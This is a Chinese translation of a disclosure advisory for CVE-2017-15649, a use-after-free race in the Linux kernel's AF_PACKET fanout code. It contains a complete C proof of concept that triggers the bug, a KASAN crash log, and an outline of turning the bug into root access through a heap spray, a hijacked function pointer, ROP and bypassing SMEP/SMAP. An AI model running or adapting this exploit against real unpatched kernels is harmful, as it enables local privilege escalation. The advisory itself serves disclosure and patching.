漏洞概要
以下安全公告描述了在Linux内核的AF_PACKET中存在的一个UAF漏洞,成功利用该漏洞可能导致权限提升。
AF_PACKET套接字”允许用户在设备驱动层发送或者接收数据包”。例如,用户可以在物理层之上实现自己的协议,或者嗅探包含以太网或更高层协议头的数据包。
漏洞提交者
一名独立的安全研究人员发现并向 Beyond Security 的 SSD 报告了该漏洞。
厂商响应
更新一
CVE:CVE-2017-15649
“该漏洞很可能已经通过以下方式修复了:
packet: 重新绑定fanout hook时保持绑定锁定 – http://patchwork.ozlabs.org/patch/813945/
与此相关,但未合并的是
packet:在packet_do_bind函数中,使用bind_lock测试fanout – http://patchwork.ozlabs.org/patch/818726/
我们验证了在v4.14-rc2上不会触发该漏洞,但在第一次commit(008ba2a13f2d)上测试成功。”
漏洞详细信息
该UAF漏洞是由于fanout_add(来自setsockopt)和AF_PACKET套接字之间竞争条件导致的。
即使已经从fanout_add()创建了一个packet_fanout,竞争也会导致来自packet_do_bind()的__unregister_prot_hook()将po-> running设置为0。
这允许我们绕过packet_release()中的unregister_prot_hook()的检查,从而导致即使packet_fanout已经被释放,但是仍然可以从packet_type链接列表引用。
漏洞证明
// Please note, to have KASAN report the UAF, you need to enable it when compiling the kernel.
// the kernel config is provided too.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <pthread.h>
#include <sys/utsname.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <sys/stat.h>
#include <fcntl.h>
#define IS_ERR(c, s) { if (c) perror(s); }
struct sockaddr_ll {
unsigned short sll_family;
short sll_protocol; // big endian
int sll_ifindex;
unsigned short sll_hatype;
unsigned char sll_pkttype;
unsigned char sll_halen;
unsigned char sll_addr[8];
};
static int fd;
static struct ifreq ifr;
static struct sockaddr_ll addr;
void *task1(void *unused)
{
int fanout_val = 0x3;
// need race: check on po->running
// also must be 1st or link wont register
int err = setsockopt(fd, 0x107, 18, &fanout_val, sizeof(fanout_val));
// IS_ERR(err == -1, "setsockopt");
}
void *task2(void *unused)
{
int err = bind(fd, (struct sockaddr *)&addr, sizeof(addr));
// IS_ERR(err == -1, "bind");
}
void loop_race()
{
int err, index;
while(1) {
fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
IS_ERR(fd == -1, "socket");
strcpy((char *)&ifr.ifr_name, "lo");
err = ioctl(fd, SIOCGIFINDEX, &ifr);
IS_ERR(err == -1, "ioctl SIOCGIFINDEX");
index = ifr.ifr_ifindex;
err = ioctl(fd, SIOCGIFFLAGS, &ifr);
IS_ERR(err == -1, "ioctl SIOCGIFFLAGS");
ifr.ifr_flags &= ~(short)IFF_UP;
err = ioctl(fd, SIOCSIFFLAGS, &ifr);
IS_ERR(err == -1, "ioctl SIOCSIFFLAGS");
addr.sll_family = AF_PACKET;
addr.sll_protocol = 0x0; // need something different to rehook && 0 to skip register_prot_hook
addr.sll_ifindex = index;
pthread_t thread1, thread2;
pthread_create (&thread1, NULL, task1, NULL);
pthread_create (&thread2, NULL, task2, NULL);
pthread_join(thread1, NULL);
pthread_join(thread2, NULL);
// UAF
close(fd);
}
}
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
printf("[!] unprivileged user namespaces are not available\n");
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
}
int main(int argc, char *argv[])
{
setup_sandbox();
system("id; capsh --print");
loop_race();
return 0;
}
崩溃日志
[ 73.703931] dev_remove_pack: ffff880067cee280 not found [ 73.717350] ================================================================== [ 73.726151] BUG: KASAN: use-after-free in dev_add_pack+0x1b1/0x1f0 [ 73.729371] Write of size 8 at addr ffff880067d28870 by task poc/1175 [ 73.732594] [ 73.733605] CPU: 3 PID: 1175 Comm: poc Not tainted 4.14.0-rc1+ #29 [ 73.737714] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014 [ 73.746433] Call Trace: [ 73.747985] dump_stack+0x6c/0x9c [ 73.749410] ? dev_add_pack+0x1b1/0x1f0 [ 73.751622] print_address_description+0x73/0x290 [ 73.753646] ? dev_add_pack+0x1b1/0x1f0 [ 73.757343] kasan_report+0x22b/0x340 [ 73.758839] __asan_report_store8_noabort+0x17/0x20 [ 73.760617] dev_add_pack+0x1b1/0x1f0 [ 73.761994] register_prot_hook.part.52+0x90/0xa0 [ 73.763675] packet_create+0x5e3/0x8c0 [ 73.765072] __sock_create+0x1d0/0x440 [ 73.766030] SyS_socket+0xef/0x1b0 [ 73.766891] ? move_addr_to_kernel+0x60/0x60 [ 73.769137] ? exit_to_usermode_loop+0x118/0x150 [ 73.771668] entry_SYSCALL_64_fastpath+0x13/0x94 [ 73.773754] RIP: 0033:0x44d8a7 [ 73.775130] RSP: 002b:00007ffc4e642818 EFLAGS: 00000217 ORIG_RAX: 0000000000000029 [ 73.780503] RAX: ffffffffffffffda RBX: 00000000004002f8 RCX: 000000000044d8a7 [ 73.785654] RDX: 0000000000000011 RSI: 0000000000000003 RDI: 0000000000000011 [ 73.790358] RBP: 00007ffc4e642840 R08: 00000000000000ca R09: 00007f4192e6e9d0 [ 73.793544] R10: 0000000000000000 R11: 0000000000000217 R12: 000000000040b410 [ 73.795999] R13: 000000000040b4a0 R14: 0000000000000000 R15: 0000000000000000 [ 73.798567] [ 73.799095] Allocated by task 1360: [ 73.800300] save_stack_trace+0x16/0x20 [ 73.802533] save_stack+0x46/0xd0 [ 73.803959] kasan_kmalloc+0xad/0xe0 [ 73.805833] kmem_cache_alloc_trace+0xd7/0x190 [ 73.808233] packet_setsockopt+0x1d29/0x25c0 [ 73.810226] SyS_setsockopt+0x158/0x240 [ 73.811957] entry_SYSCALL_64_fastpath+0x13/0x94 [ 73.814636] [ 73.815367] Freed by task 1175: [ 73.816935] save_stack_trace+0x16/0x20 [ 73.821621] save_stack+0x46/0xd0 [ 73.825576] kasan_slab_free+0x72/0xc0 [ 73.827477] kfree+0x91/0x190 [ 73.828523] packet_release+0x700/0xbd0 [ 73.830162] sock_release+0x8d/0x1d0 [ 73.831612] sock_close+0x16/0x20 [ 73.832906] __fput+0x276/0x6d0 [ 73.834730] ____fput+0x15/0x20 [ 73.835998] task_work_run+0x121/0x190 [ 73.837564] exit_to_usermode_loop+0x131/0x150 [ 73.838709] syscall_return_slowpath+0x15c/0x1a0 [ 73.840403] entry_SYSCALL_64_fastpath+0x92/0x94 [ 73.842343] [ 73.842765] The buggy address belongs to the object at ffff880067d28000 [ 73.842765] which belongs to the cache kmalloc-4096 of size 4096 [ 73.845897] The buggy address is located 2160 bytes inside of [ 73.845897] 4096-byte region [ffff880067d28000, ffff880067d29000) [ 73.851443] The buggy address belongs to the page: [ 73.852989] page:ffffea00019f4a00 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0 [ 73.861329] flags: 0x100000000008100(slab|head) [ 73.862992] raw: 0100000000008100 0000000000000000 0000000000000000 0000000180070007 [ 73.866052] raw: dead000000000100 dead000000000200 ffff88006cc02f00 0000000000000000 [ 73.870617] page dumped because: kasan: bad access detected [ 73.872456] [ 73.872851] Memory state around the buggy address: [ 73.874057] ffff880067d28700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 73.876931] ffff880067d28780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 73.878913] >ffff880067d28800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 73.880658] ^ [ 73.884772] ffff880067d28880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 73.890978] ffff880067d28900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 73.897763] ==================================================================
我们知道已经被释放的是一个kmalloc-4096对象:
```
struct packet_fanout {
possible_net_t net;
unsigned int num_members;
u16 id;
u8 type;
u8 flags;
union {
atomic_t rr_cur;
struct bpf_prog __rcu *bpf_prog;
};
struct list_head list;
struct sock *arr[PACKET_FANOUT_MAX];
spinlock_t lock;
refcount_t sk_ref;
struct packet_type prot_hook ____cacheline_aligned_in_smp;
};
```
当通过af_packet.c中的register_prot_hook()的dev_add_pack()进行注册时,它的prot_hook成员在packet handler中被引用:
```
struct packet_type {
__be16 type; /* This is really htons(ether_type). */
struct net_device *dev; /* NULL is wildcarded here */
int (*func) (struct sk_buff *,
struct net_device *,
struct packet_type *,
struct net_device *);
bool (*id_match)(struct packet_type *ptype,
struct sock *sk);
void *af_packet_priv;
struct list_head list;
};
```
结构体packet_type内部的函数指针,保存在一个大的slab分配器(kmalloc-4096)中,这使得堆喷射变更容易和更可靠,因为内核较少使用较大slab分配器。
我们可以使用常规的内核堆喷射来替换被释放的packet_fanout对象的内容,例如用sendmmsg()或其它函数。
即使分配的内存空间不是永久的,但仍然可以替换packet_fanout中的目标内容(例如函数指针),并且由于kmalloc-4096非常稳定,所以我们的payload几乎不可能被其它分配破坏。
当使用dev_queue_xmit()发送一个skb时会调用id_match(),通过AF_PACKET套接字上的sendmsg可以到达该路径。如果dev_queue_xmit参数非NULL,它通过调用id_match()的包处理程序列表进行循环。因此,可以通过下述方式进行漏洞利用。
一旦知道了内核的代码段,我们就可以把内核栈转换成我们伪造的packet_fanout对象和ROP。第一个参数ptype包含我们伪造对象的prot_hook成员的地址,这使得我们知道在哪里跳转。
一旦进入ROP,我们可以跳转到native_write_c4(x)去关闭SMEP/SMAP,然后跳回到用户空间执行我们真正的payload,通过调用commit_creds(prepare_kernel_cred(0)),将我们权限提升至root 。